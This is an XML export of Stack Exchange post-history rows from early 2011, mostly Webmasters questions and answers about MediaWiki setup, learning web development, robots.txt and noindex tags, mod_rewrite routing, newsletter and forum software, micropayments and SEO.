  <row Id="19833" PostHistoryTypeId="3" PostId="9066" RevisionGUID="4ba54d78-8703-42eb-bdcb-11eed35f1c7b" CreationDate="2011-02-10T02:10:33.750" UserDisplayName="Bill" Text="&lt;javascript&gt;&lt;domains&gt;&lt;webserver&gt;" />
  <row Id="19834" PostHistoryTypeId="17" PostId="9066" RevisionGUID="b21bf93a-a95a-4ec3-a738-99ceb26acaa9" CreationDate="2011-02-11T23:40:14.500" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12244/tracking-redirects-leading-to-your-site" Text="" />
  <row Id="19835" PostHistoryTypeId="2" PostId="9067" RevisionGUID="1fe73b01-f4ab-43a1-ab33-4b00e61fa864" CreationDate="2011-02-12T01:06:37.907" UserId="5331" Text="If I have a WikiMedia installation in a subdomain, like wiki.example.com, how do I create a new page? I mean, they said that when I put a link in the wiki, it would appear red. If I clicked it, it would send me to a page where I could create the page itself. Then the link turns blue.&#xD;&#xA;&#xD;&#xA;But I don't think it is working for me..." />
  <row Id="19836" PostHistoryTypeId="1" PostId="9067" RevisionGUID="1fe73b01-f4ab-43a1-ab33-4b00e61fa864" CreationDate="2011-02-12T01:06:37.907" UserId="5331" Text="WikiMedia on a subdomain - creating a new page." />
  <row Id="19837" PostHistoryTypeId="3" PostId="9067" RevisionGUID="1fe73b01-f4ab-43a1-ab33-4b00e61fa864" CreationDate="2011-02-12T01:06:37.907" UserId="5331" Text="&lt;subdomain&gt;&lt;mediawiki&gt;" />
  <row Id="19838" PostHistoryTypeId="17" PostId="9069" RevisionGUID="b69178d2-f7f5-4a56-b5ac-a62f94f8fc4e" CreationDate="2011-02-12T01:18:03.417" UserId="-1" Comment="from http://stackoverflow.com/questions/4971057/website-develoment/4971197#4971197" Text="" />
  <row Id="19839" PostHistoryTypeId="17" PostId="9070" RevisionGUID="a5d7a220-4072-4d9a-95c6-7863196ae2ae" CreationDate="2011-02-12T01:18:03.417" UserId="-1" Comment="from http://stackoverflow.com/questions/4971057/website-develoment/4971246#4971246" Text="" />
  <row Id="19840" PostHistoryTypeId="2" PostId="9069" RevisionGUID="68badf3e-e61c-4472-b2f4-34ae01d375bf" CreationDate="2011-02-11T15:59:38.860" UserDisplayName="Iain" Text="If you have learnt HTML and CSS then you have two main routes open to you from there, the natural split in web development between front-end and back-end. For example, if you like design then I'd suggest javascript and a graphic package like Photoshop (or whatever). The backend would be to look at a language like Ruby/Python/Perl/PHP/C#, and SQL for databases. &#xD;&#xA;&#xD;&#xA;You'll need to know a little bit of everything in the end, so have a go with everything just so you're aware of it all, and then you can end up where you're most comfortable (and forge helpful working relationships with those who like bits you dont :)" />
  <row Id="19841" PostHistoryTypeId="2" PostId="9070" RevisionGUID="fdd642f8-7dbf-431e-881f-4fc2361fb573" CreationDate="2011-02-11T16:03:16.900" UserDisplayName="rhaag71" Text="PHP or Javascript (or both) could be a good direction to go next, either will provide a lot of powerful options for your web projects.  www.w3schools.com has a lot of info/reference for either...&#xD;&#xA;&#xD;&#xA;PHP: [www.php.net][1]&#xD;&#xA;&#xD;&#xA;Javascript: good place to find tons of info on Javascript is here [https://developer.mozilla.org/en/javascript][3] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net&#xD;&#xA; &#xD;&#xA;  [3]: https://developer.mozilla.org/en/javascript,&#xD;&#xA;" />
  <row Id="19842" PostHistoryTypeId="2" PostId="9068" RevisionGUID="ae4962aa-a886-45bd-abea-ff24190173f5" CreationDate="2011-02-11T15:49:13.643" UserId="5346" Text="i want to learn making websites but dont know how to go about it.&#xD;&#xA;i did learn some HTML, and right now learning CSS from www.w3schools.com . &#xD;&#xA;&#xD;&#xA;now can anyone tell me what shall i learn next and what all things i need to learn to start making websites.&#xD;&#xA;also refer to the study material if u can.&#xD;&#xA;thanks." />
  <row Id="19843" PostHistoryTypeId="1" PostId="9068" RevisionGUID="ae4962aa-a886-45bd-abea-ff24190173f5" CreationDate="2011-02-11T15:49:13.643" UserId="5346" Text="website develoment" />
  <row Id="19844" PostHistoryTypeId="3" PostId="9068" RevisionGUID="ae4962aa-a886-45bd-abea-ff24190173f5" CreationDate="2011-02-11T15:49:13.643" UserId="5346" Text="&lt;web-development&gt;" />
  <row Id="19845" PostHistoryTypeId="17" PostId="9068" RevisionGUID="e654a810-e239-46a5-80e2-9940488ab4e1" CreationDate="2011-02-12T01:18:03.417" UserId="-1" Comment="from http://stackoverflow.com/questions/4971057/website-develoment" Text="" />
  <row Id="19846" PostHistoryTypeId="25" PostId="9067" RevisionGUID="39150c2a-0643-4e17-9f8f-755e0f74bc1f" CreationDate="2011-02-12T02:22:17.747" Comment="http://twitter.com/#!/StackWebmasters/status/36248697738108928" />
  <row Id="19847" PostHistoryTypeId="2" PostId="9071" RevisionGUID="5834a4e8-ae3e-4667-a186-cf12588c1d7f" CreationDate="2011-02-12T02:59:17.050" UserId="1064" Text="[SquareCompare][1] comes to mind.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squarecompare.com/" />
  <row Id="19848" PostHistoryTypeId="5" PostId="9065" RevisionGUID="77279e45-dc5f-4f8a-ad51-ccda3eaf7ca7" CreationDate="2011-02-12T03:34:50.717" UserId="5355" Comment="added 23 characters in body" Text="I'm searching for hosting plans with certain attributes such as memory, drive space and bandwidth limits. The information appears to be scattered around the Internet. A while ago I did find a hosting search engine that allowed you to put in different attributes you require, but I can't seem to find it now. Does anyone know sites that do this?" />
  <row Id="19849" PostHistoryTypeId="2" PostId="9072" RevisionGUID="312d441e-594d-46a4-9f06-30a6f7594137" CreationDate="2011-02-12T04:16:48.710" UserId="5024" Text="Technically, you could use robots.txt for telling search engines not to index content; see http://robotstxt.org&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /about&#xD;&#xA;    Disallow: /designers&#xD;&#xA;&#xD;&#xA;...And on. There's no &quot;Allow&quot; command, so you'll have to do this for every page they don't want in search results.&#xD;&#xA;&#xD;&#xA;I'd personally tell the client that Google will display results however Google feels best serves its userbase, and this means it displays other pages from the site in a particular group of search results. If the client is arriving at this conclusion by Googling his/her company name, make sure to explain people very seldom arrive at content by searching the name of a particular company." />
  <row Id="19850" PostHistoryTypeId="2" PostId="9073" RevisionGUID="61c46110-eaf2-4d69-8736-5cf7d5ad0e30" CreationDate="2011-02-12T04:33:02.640" UserId="5358" Text="I want to have everything that looks like this:&#xD;&#xA;&#xD;&#xA;/1/2/3/4/5/[...]&#xD;&#xA;&#xD;&#xA;to redirect to this:&#xD;&#xA;&#xD;&#xA;/index.php?u=/1/2/3/4/5/[...]&#xD;&#xA;&#xD;&#xA;**unless** the requested string is a specific file. So anything that doesn't have a &quot;.&quot;, I want to redirect to &quot;index.php?u=[...]&quot;. I'll then parse the URI segments in PHP to determine what the user is requesting.&#xD;&#xA;&#xD;&#xA;I've been looking around for how to do this, but have only a very rough understanding of regular expressions and have been unable to find an example of how to do it.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="19851" PostHistoryTypeId="1" PostId="9073" RevisionGUID="61c46110-eaf2-4d69-8736-5cf7d5ad0e30" CreationDate="2011-02-12T04:33:02.640" UserId="5358" Text="Simple mod_rewrite Question" />
  <row Id="19852" PostHistoryTypeId="3" PostId="9073" RevisionGUID="61c46110-eaf2-4d69-8736-5cf7d5ad0e30" CreationDate="2011-02-12T04:33:02.640" UserId="5358" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="19853" PostHistoryTypeId="2" PostId="9074" RevisionGUID="c2f69bc3-8106-4a72-b1ff-f55a5814f3fe" CreationDate="2011-02-12T04:45:30.410" UserDisplayName="Sparky672" Text="I'm currently using a server-side SQL based mailing list program called Php-List on multiple sites and it works fairly well.  But installation and setup is quite cumbersome, quirky and the interface is not well organized... neither is the code... with pieces all over the place in random fashion.&#xD;&#xA;&#xD;&#xA;Customizing the &quot;look &amp; feel&quot; and full site integration are both tedious and painful. Upgrading the version is made more complex since multiple edits need to be manually transferred each time.  Also, probably due to a poor English translation, descriptions and instructions within certain areas of the user interface are contradictory and unclear.  You just have to play with it and remember what you did last time it worked.&#xD;&#xA;&#xD;&#xA;It's supposed to be so my customers can send out their own newsletters... after supplying a written tutorial, about half of them seem to stumble through it okay and the other half just hire me to do it for them.  So not quite easy enough for most average people to use.  I'm looking for something that's as easy for them as using a blog or discussion forum.&#xD;&#xA;&#xD;&#xA;It also must be easier to set up and integrate into a site than Php-List.  I have no problem getting dirty and writing CSS or HTML by hand.  Nor do I have any problem editing the program code.  Perhaps what I'm looking for is a solution that is more organized, a better GUI, and template or &quot;skin&quot; based.  Therefore, if I spend many hours customizing a skin, I can simply update the program and re-use my custom skin without having to reproduce the tedious setup over and over.  (I currently maintain a list of about 25 things I must manually edit or add to multiple files in multiple directories each time I install or upgrade Php-List)&#xD;&#xA;&#xD;&#xA;A great example of what I'm looking for is very much like WordPress or phpBB.   They're both easy to install and customize yet powerful and packed full of features.   They're also VERY well organized making customization less painful.&#xD;&#xA;&#xD;&#xA;So enough yammering for now... anyone know of something, besides Php-List, with many of the same features as Php-List; maintaining a mailing list with a server-side database, custom sign-up pages, automatic opt-in opt-out, allowing custom HTML newsletter templates, etc?&#xD;&#xA;&#xD;&#xA;Thank-you!" />
  <row Id="19854" PostHistoryTypeId="1" PostId="9074" RevisionGUID="c2f69bc3-8106-4a72-b1ff-f55a5814f3fe" CreationDate="2011-02-12T04:45:30.410" UserDisplayName="Sparky672" Text="Looking for recommendations for a server-side newsletter program" />
  <row Id="19855" PostHistoryTypeId="3" PostId="9074" RevisionGUID="c2f69bc3-8106-4a72-b1ff-f55a5814f3fe" CreationDate="2011-02-12T04:45:30.410" UserDisplayName="Sparky672" Text="&lt;sql&gt;&lt;open-source&gt;" />
  <row Id="19856" PostHistoryTypeId="17" PostId="9074" RevisionGUID="09aa24fb-8848-41f8-bbab-4cb01afacc70" CreationDate="2011-02-12T05:03:21.167" UserId="-1" Comment="from http://stackoverflow.com/questions/4976393/looking-for-recommendations-for-a-server-side-newsletter-program" Text="" />
  <row Id="19858" PostHistoryTypeId="25" PostId="9073" RevisionGUID="ab34ce93-ddc9-47ba-a429-503e2d683a20" CreationDate="2011-02-12T05:22:17.467" Comment="http://twitter.com/#!/StackWebmasters/status/36293995336302594" />
  <row Id="19859" PostHistoryTypeId="10" PostId="9068" RevisionGUID="2ac4049a-bf57-4df4-b432-b94e6d6d6afa" CreationDate="2011-02-12T05:23:56.643" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19860" PostHistoryTypeId="2" PostId="9075" RevisionGUID="f9535f3f-c3b5-4ae3-8331-ec35614f35a1" CreationDate="2011-02-12T05:40:48.060" UserId="5358" Text="Nevermind, figured it out. I found it's easier to match if something **is** in a string rather than if it **isn't** in a string, so this is what I came up with:&#xD;&#xA;&#xD;&#xA;    ^.*\..*$ -&gt; /$0&#xD;&#xA;&#xD;&#xA;    [stop matching if found]&#xD;&#xA;&#xD;&#xA;    ^.*$ -&gt; /index.php?u=$0&#xD;&#xA;&#xD;&#xA;Not correct syntax of course, but you can easily adapt it to any number of rerouting systems." />
  <row Id="19861" PostHistoryTypeId="2" PostId="9076" RevisionGUID="c9cf5583-48d6-4cec-8602-c5e374661a69" CreationDate="2011-02-12T06:43:08.773" UserId="5359" Text="&gt; I'd personally tell the client that&#xD;&#xA;&gt; Google will display results however&#xD;&#xA;&gt; Google feels best serves its userbase&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That's actually not entirely true. It is possible to have certain pages on your domain--while navigable--are not indexed in the various search engines. In addition to properly setting up your robots.txt, you can insert the following:&#xD;&#xA;&#xD;&#xA;`&lt;META NAME=&quot;ROBOTS&quot; CONTENT=&quot;NOINDEX, FOLLOW&quot;&gt;`&#xD;&#xA;&#xD;&#xA;in the head of any page you do not want indexed. Additionally, if you do not want the links to be crawled either, you would have it say `NOFOLLOW` instead of `FOLLOW`&#xD;&#xA;&#xD;&#xA;Although these pages are cached right now, after a long period of no activity at that URI according to the crawlers, the listing should eventually drop. This only works on crawlers that play by the rules though, of course." />
  <row Id="19862" PostHistoryTypeId="25" PostId="9065" RevisionGUID="88c12ae1-571e-42ac-a72f-bcb461c1902d" CreationDate="2011-02-12T08:22:17.823" Comment="http://twitter.com/#!/StackWebmasters/status/36339294855626752" />
  <row Id="19863" PostHistoryTypeId="25" PostId="9029" RevisionGUID="bcb114b0-b429-4611-a453-30e3e46dd9ac" CreationDate="2011-02-12T11:22:18.043" Comment="http://twitter.com/#!/StackWebmasters/status/36384592479006720" />
  <row Id="19864" PostHistoryTypeId="2" PostId="9077" RevisionGUID="4d528488-c7e0-4b67-a876-c9518a373e63" CreationDate="2011-02-12T11:33:04.477" UserId="4502" Text="WebFaction is shared hosting and allows you to build a custom Apache instance, along with pretty much anything else." />
  <row Id="19865" PostHistoryTypeId="2" PostId="9078" RevisionGUID="63b91fbe-d083-475f-8330-b932381e0e8f" CreationDate="2011-02-12T12:25:03.127" UserId="1111" Text="You have to set some config variables and fix your htaccess file. Here is a actual blog post which describes all the steps: http://paulschreiber.com/blog/2010/07/07/how-to-install-mediawiki-on-a-subdomain/" />
  <row Id="19866" PostHistoryTypeId="25" PostId="9023" RevisionGUID="e7de9fcb-648b-44ce-a49d-f63174e40d8e" CreationDate="2011-02-12T14:22:18.857" Comment="http://twitter.com/#!/StackWebmasters/status/36429896548880384" />
  <row Id="19867" PostHistoryTypeId="17" PostId="9080" RevisionGUID="a89f706c-3636-4eb1-a90b-5b4de38286da" CreationDate="2011-02-12T16:10:51.120" UserId="-1" Comment="from http://superuser.com/questions/116311/whats-the-best-micropayment-solution-for-a-web-app/116314#116314" Text="" />
  <row Id="19868" PostHistoryTypeId="17" PostId="9081" RevisionGUID="0daeb740-1559-4e0e-b46e-99b12b51476f" CreationDate="2011-02-12T16:10:51.120" UserId="-1" Comment="from http://superuser.com/questions/116311/whats-the-best-micropayment-solution-for-a-web-app/116315#116315" Text="" />
  <row Id="19869" PostHistoryTypeId="2" PostId="9080" RevisionGUID="a6146d71-b4fb-456a-8660-b18e4d0ad9d0" CreationDate="2010-03-05T00:57:10.443" UserDisplayName="Sergiy Byelozyorov" Text="I would recommend to create billing system, where users can transfer money via PayPal or credit card to internal wallet. Then they would be able to pay for content from internal account. Otherwise asking for a credit card number every time just to charge 10 cents would be ridiculous. Moreover, you will probably need to pay fees for charging their card which exceed 10 cents for sure. So it's both more convenient and cheaper to use an idea with internal wallet.&#xD;&#xA;&#xD;&#xA;Also check this [wikipedia article][1]. According to it, micropayments have been abandoned since they have never found significant usage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Micropayment" />
  <row Id="19870" PostHistoryTypeId="2" PostId="9081" RevisionGUID="1a15dae5-df9a-489c-bc57-9feccf56780d" CreationDate="2010-03-05T01:04:52.317" UserDisplayName="ChrisInEdmonton" Text="You may want to look at virtual currency.  Companies like [Jambool][1] allow you to purchase in-game or in-app virtual currency, and your users could then spend the virtual currency to access a piece of content on your site.  That way, users can buy chunks of virtual currency using their credit card or whatever, $5 or $10 or so at a time, and then spend small amounts more frequently.  As Sergiy Byelozyorov says, micropayments generally have been abandoned, and I know most sites that have tried charging for content have failed.&#xD;&#xA;&#xD;&#xA;Disclaimer: the company I work for uses jambool, though we are not in any way in a partnership.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jambool.com/" />
  <row Id="19871" PostHistoryTypeId="2" PostId="9079" RevisionGUID="69a87164-218e-4a13-ac26-f25b9c6f47b8" CreationDate="2010-03-05T00:45:43.207" UserDisplayName="creamcheese" Text="&#xD;&#xA;If I want users to pay $0.10 every time they access a piece of content on my site, is there a broadly accepted solution for this?" />
  <row Id="19872" PostHistoryTypeId="1" PostId="9079" RevisionGUID="69a87164-218e-4a13-ac26-f25b9c6f47b8" CreationDate="2010-03-05T00:45:43.207" UserDisplayName="creamcheese" Text="What's the best micropayment solution for a web app?" />
  <row Id="19873" PostHistoryTypeId="3" PostId="9079" RevisionGUID="69a87164-218e-4a13-ac26-f25b9c6f47b8" CreationDate="2010-03-05T00:45:43.207" UserDisplayName="creamcheese" Text="&lt;untagged&gt;" />
  <row Id="19874" PostHistoryTypeId="17" PostId="9079" RevisionGUID="3faa2a0a-1387-41b2-86f1-4ed3b6a7ee59" CreationDate="2011-02-12T16:10:51.120" UserId="-1" Comment="from http://superuser.com/questions/116311/whats-the-best-micropayment-solution-for-a-web-app" Text="" />
  <row Id="19875" PostHistoryTypeId="25" PostId="9026" RevisionGUID="8b81b63a-494b-47b8-930c-fc87cb8e8bea" CreationDate="2011-02-12T17:22:18.713" Comment="http://twitter.com/#!/StackWebmasters/status/36475194159669248" />
  <row Id="19876" PostHistoryTypeId="2" PostId="9082" RevisionGUID="aa1379ed-67c5-43ad-8c70-245622d5b0e9" CreationDate="2011-02-12T16:11:10.027" UserId="5360" Text="I need to assemble a **GetSatisfaction/Lithium/Jive type support forum/community**. The first is not available in the desired language and the last two are priced for the enterprise market. I did research some other options (open source or SaaS) but they all seem to be either:&#xD;&#xA;&#xD;&#xA; - kind of dead (open source options)&#xD;&#xA; - too focused in gathering ideas/feedback (uservoice)&#xD;&#xA; - strictly support without the community/voting features (zendesk)&#xD;&#xA;&#xD;&#xA;**I need an open forum (people powered support/UGC with community/voting features).**&#xD;&#xA;&#xD;&#xA;Therefore I will have to do some of the work on my own. I want to **piece things (plugins/mods/etc) on top of a standard forum platform to give it the features I need**. For this purpose, I want to use a **mature** product with widespread userbase, active community and lots of plugin options. I believe most will agree that my options therefore are:&#xD;&#xA;&#xD;&#xA; - vBulletin&#xD;&#xA; - phpBB&#xD;&#xA; - SMF&#xD;&#xA;&#xD;&#xA;Here are the questions: &#xD;&#xA;&#xD;&#xA; 1. **Which one of the three above offers the easier path towards the&#xD;&#xA;    desired goal**?&#xD;&#xA; 2. **Which one of the three above has the most advanced features related to the&#xD;&#xA;    desired goal?**&#xD;&#xA;&#xD;&#xA;Of course I dont expect anyone to **know** these answers *cut and dry*. I am hoping to hear some experiences and see some examples. Also, it would be great if both those questions had the same answer, but I am not going to get my hopes up...&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19877" PostHistoryTypeId="1" PostId="9082" RevisionGUID="aa1379ed-67c5-43ad-8c70-245622d5b0e9" CreationDate="2011-02-12T16:11:10.027" UserId="5360" Text="Which forum software has the most advanced community/GetSatisfaction type features?" />
  <row Id="19878" PostHistoryTypeId="3" PostId="9082" RevisionGUID="aa1379ed-67c5-43ad-8c70-245622d5b0e9" CreationDate="2011-02-12T16:11:10.027" UserId="5360" Text="&lt;forum&gt;&lt;vbulletin&gt;&lt;community&gt;" />
  <row Id="19879" PostHistoryTypeId="17" PostId="9082" RevisionGUID="97c80883-7e6b-4a7c-b4e6-a622c74a33f7" CreationDate="2011-02-12T17:30:10.377" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12348/which-forum-software-has-the-most-advanced-community-getsatisfaction-type-feature" Text="" />
  <row Id="19880" PostHistoryTypeId="2" PostId="9083" RevisionGUID="0bfe5e43-1dd2-4a02-b570-3e1c634500cd" CreationDate="2011-02-12T17:44:47.233" UserId="5361" Text="Oneandone do provide me with FTP backup space, included with my dedicated servers (I've forgotten how much, but I'm pretty sure it's multiple GB). However, aside from that I wouldn't recommend them." />
  <row Id="19881" PostHistoryTypeId="2" PostId="9084" RevisionGUID="9cd09057-5f50-4f5b-b46d-d016f012fd6c" CreationDate="2011-02-12T17:52:18.990" UserId="4159" Text="Content duplication doesn't seem to be the issue because:&#xD;&#xA;&#xD;&#xA;1. The site is back in search results even though nothing has changed about sites which were scrapping/stealing content from the site. There is still 1-2 other sites which are scrapping full feed and a number of them which are scrapping only teasers.&#xD;&#xA;&#xD;&#xA;2. [Google doesn't seem to penalize for duplicate content][1].&#xD;&#xA;&#xD;&#xA;Now, I wish I could tell for sure what was the real reason of the penalty but I'm not sure. The last thing I did was making 301 redirections from related sites (www.brodzinski.com and brodzinski.com) to the original site (blog.brodzinski.com) so search engine doesn't see &quot;server not found&quot; error for them but I did it a day or two after being back in search results so I don't know for sure.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html" />
  <row Id="19882" PostHistoryTypeId="2" PostId="9085" RevisionGUID="8de7d653-7521-41b6-ae19-08f001a547d2" CreationDate="2011-02-12T18:05:12.157" UserId="3959" Text="I have a frequently updated website. That's why page contents change frequently. I mean the items that are on 1'st page become on 2'nd page a day after. Similarly 192'nd page which is my last page becomes 193'rd page a day after. So Google finds different content on a specific page than its previous visit. Is it bad for SEO?&#xD;&#xA;&#xD;&#xA;What you think about it?&#xD;&#xA;" />
  <row Id="19883" PostHistoryTypeId="1" PostId="9085" RevisionGUID="8de7d653-7521-41b6-ae19-08f001a547d2" CreationDate="2011-02-12T18:05:12.157" UserId="3959" Text="Should page contents same all time for SEO?" />
  <row Id="19884" PostHistoryTypeId="3" PostId="9085" RevisionGUID="8de7d653-7521-41b6-ae19-08f001a547d2" CreationDate="2011-02-12T18:05:12.157" UserId="3959" Text="&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="19885" PostHistoryTypeId="2" PostId="9086" RevisionGUID="3a8690d6-1b84-45a7-b8cb-3e5934cbc2d9" CreationDate="2011-02-12T18:14:25.820" UserId="5362" Text="Is your issue the cost of hosting multiple sites or simply of buying another domain name?&#xD;&#xA;&#xD;&#xA;Domain names are cheaper than hosting accounts-  parking a new domain name at the one single hosting account will solve your issue by effectively giving you an &quot;unlimited&quot; number of sites on one account.&#xD;&#xA;&#xD;&#xA;programming.com/cooking/&#xD;&#xA;&#xD;&#xA;will then be the exact same page at the same location as...&#xD;&#xA;&#xD;&#xA;cooking.com/cooking/" />
  <row Id="19889" PostHistoryTypeId="2" PostId="9088" RevisionGUID="f98de7c9-3599-4bac-8e20-b772703d6af0" CreationDate="2011-02-12T19:22:43.430" UserId="3590" Text="does anyone know an equally impressive service that shows the amount of times a specific keyword(phrase) has been searched, as well as a branch of other similar words?&#xD;&#xA;&#xD;&#xA;The one discussed in this video (Wordtracker.com) seems very good, but has gone commercial unfortunately which is not what Im looking for. I really would prefer free tool... &#xD;&#xA;&#xD;&#xA;http://www.youtube.com/watch?v=H2M1tXtAc18&amp;feature=related&#xD;&#xA;&#xD;&#xA;Any suggestions for similar free online tools are very welcome.&#xD;&#xA;Thanks" />
  <row Id="19890" PostHistoryTypeId="1" PostId="9088" RevisionGUID="f98de7c9-3599-4bac-8e20-b772703d6af0" CreationDate="2011-02-12T19:22:43.430" UserId="3590" Text="Do you know any independant keyword(phrase) statistics trend website?" />
  <row Id="19891" PostHistoryTypeId="3" PostId="9088" RevisionGUID="f98de7c9-3599-4bac-8e20-b772703d6af0" CreationDate="2011-02-12T19:22:43.430" UserId="3590" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;keywords&gt;&lt;search&gt;&lt;statistics&gt;" />
  <row Id="19892" PostHistoryTypeId="5" PostId="9082" RevisionGUID="b7f4c2cf-5359-4a8d-af0c-8297ac7b0151" CreationDate="2011-02-12T19:29:56.837" UserId="5360" Comment="added 34 characters in body; edited tags" Text="I need to assemble a **GetSatisfaction/Lithium/Jive type support forum/community**. The first is not available in the desired language and the last two are priced for the enterprise market. I did research some other options (open source or SaaS) but they all seem to be either:&#xD;&#xA;&#xD;&#xA; - kind of dead (open source options)&#xD;&#xA; - too focused in gathering ideas/feedback (uservoice)&#xD;&#xA; - strictly support without the community/voting features (zendesk)&#xD;&#xA;&#xD;&#xA;**I need an open forum (people powered support/UGC with community/voting features).**&#xD;&#xA;&#xD;&#xA;Therefore I will have to do some of the work on my own. I want to **piece things (plugins/mods/etc) on top of a standard forum platform to give it the features I need**. For this purpose, I want to use a **mature** product with widespread userbase, active community and lots of plugin options. I believe most will agree that my options therefore are:&#xD;&#xA;&#xD;&#xA; - vBulletin&#xD;&#xA; - phpBB&#xD;&#xA; - SMF&#xD;&#xA;&#xD;&#xA;Here are the questions: &#xD;&#xA;&#xD;&#xA; 1. **Which one of the three above offers the easier path towards the&#xD;&#xA;    desired goal**?&#xD;&#xA; 2. **Which one of the three above has the most advanced features related to the&#xD;&#xA;    desired goal?**&#xD;&#xA;&#xD;&#xA;Of course I dont expect anyone to **know** these answers *cut and dry*. I am hoping to hear some experiences and see some examples. Also, it would be great if both those questions had the same answer, but I am not going to get my hopes up...&#xD;&#xA;&#xD;&#xA;PS: I wish I could add the tags &quot;phpbb&quot; and &quot;smf&quot; ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19893" PostHistoryTypeId="6" PostId="9082" RevisionGUID="b7f4c2cf-5359-4a8d-af0c-8297ac7b0151" CreationDate="2011-02-12T19:29:56.837" UserId="5360" Comment="added 34 characters in body; edited tags" Text="&lt;forum&gt;&lt;community&gt;&lt;vbulletin&gt;" />
  <row Id="19895" PostHistoryTypeId="5" PostId="9086" RevisionGUID="eb101e5f-8719-4881-8eb3-05c8a1c2bb1b" CreationDate="2011-02-12T19:58:31.917" UserId="5362" Comment="added 15 characters in body" Text="Is your issue the cost of hosting multiple sites or simply of buying another domain name?&#xD;&#xA;&#xD;&#xA;Domain names are cheaper than hosting accounts-  parking a new domain name at the one single hosting account will solve your issue by effectively giving you an &quot;unlimited&quot; number of sites on one account.&#xD;&#xA;&#xD;&#xA;cooking.com/cooking/&#xD;&#xA;&#xD;&#xA;would then be displaying the exact same page which is at the location...&#xD;&#xA;&#xD;&#xA;programming.com/cooking/&#xD;&#xA;" />
  <row Id="19896" PostHistoryTypeId="25" PostId="9088" RevisionGUID="54bec097-ae8d-4fb9-a223-0cc813aa8568" CreationDate="2011-02-12T20:22:19.130" Comment="http://twitter.com/#!/StackWebmasters/status/36520494370918400" />
  <row Id="19897" PostHistoryTypeId="2" PostId="9089" RevisionGUID="bb1be0a2-e508-4f7f-98d5-007133626cbe" CreationDate="2011-02-12T13:16:33.543" UserDisplayName="Anish" Text="I want to forward my domain request to my backend systems without creating subdomain.&#xD;&#xA;For Example: xyz.com my domain, when Anyone enter 1.xyz.com request forward to 10.0.x.x.&#xD;&#xA;i want to host my all backend  " />
  <row Id="19898" PostHistoryTypeId="1" PostId="9089" RevisionGUID="bb1be0a2-e508-4f7f-98d5-007133626cbe" CreationDate="2011-02-12T13:16:33.543" UserDisplayName="Anish" Text="Forward the request to other backend system on Apache webserver?" />
  <row Id="19899" PostHistoryTypeId="3" PostId="9089" RevisionGUID="bb1be0a2-e508-4f7f-98d5-007133626cbe" CreationDate="2011-02-12T13:16:33.543" UserDisplayName="Anish" Text="&lt;apache2&gt;" />
  <row Id="19900" PostHistoryTypeId="17" PostId="9089" RevisionGUID="e4e0122c-b5c0-46c8-9d94-356d5a49721f" CreationDate="2011-02-12T21:22:13.743" UserId="-1" Comment="from http://stackoverflow.com/questions/4978239/forward-the-request-to-other-backend-system-on-apache-webserver" Text="" />
  <row Id="19901" PostHistoryTypeId="17" PostId="9091" RevisionGUID="2816f522-213b-48f8-bd86-2f0c971ebc65" CreationDate="2011-02-12T21:25:32.650" UserId="-1" Comment="from http://stackoverflow.com/questions/4979728/how-to-display-menu-of-site-in-google-results/4979772#4979772" Text="" />
  <row Id="19902" PostHistoryTypeId="2" PostId="9091" RevisionGUID="f4b417e7-cafc-4258-868f-5095c0661504" CreationDate="2011-02-12T18:21:57.047" UserDisplayName="adrian7" Text="Well you can't do this over night, it's something controlled entire by google search. But you can start optimizing, and advertiging your site, submit it to ODP (dmoz.org). Then sing up for a google webmaster tools account and follow the reccomandations. &#xD;&#xA;&#xD;&#xA;Then, in time if your site is well indexed google will add links to related pages in your site under the listing." />
  <row Id="19903" PostHistoryTypeId="2" PostId="9090" RevisionGUID="62103ff6-72f3-41b8-bd83-31aa1f8ec73a" CreationDate="2011-02-12T18:12:47.073" UserDisplayName="Dani-Br" Text="my site is first in google if you type '_עו&quot;ד מימון כהן_' or '_maimon cohen lawyer_'.&#xD;&#xA;I want to display menu index of the site in google, like this :&#xD;&#xA;![ubuntu in google][1]&#xD;&#xA;&#xD;&#xA;how to do it ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/epRYQ.png" />
  <row Id="19904" PostHistoryTypeId="1" PostId="9090" RevisionGUID="62103ff6-72f3-41b8-bd83-31aa1f8ec73a" CreationDate="2011-02-12T18:12:47.073" UserDisplayName="Dani-Br" Text="how to display menu of site in google results" />
  <row Id="19905" PostHistoryTypeId="3" PostId="9090" RevisionGUID="62103ff6-72f3-41b8-bd83-31aa1f8ec73a" CreationDate="2011-02-12T18:12:47.073" UserDisplayName="Dani-Br" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="19906" PostHistoryTypeId="17" PostId="9090" RevisionGUID="f0fea701-b203-4187-a7ba-79e3b03ac082" CreationDate="2011-02-12T21:25:32.650" UserId="-1" Comment="from http://stackoverflow.com/questions/4979728/how-to-display-menu-of-site-in-google-results" Text="" />
  <row Id="19907" PostHistoryTypeId="25" PostId="9090" RevisionGUID="d526a2da-27a2-4951-850d-e491dbc2e1f1" CreationDate="2011-02-12T23:22:19.777" Comment="http://twitter.com/#!/StackWebmasters/status/36565795685269504" />
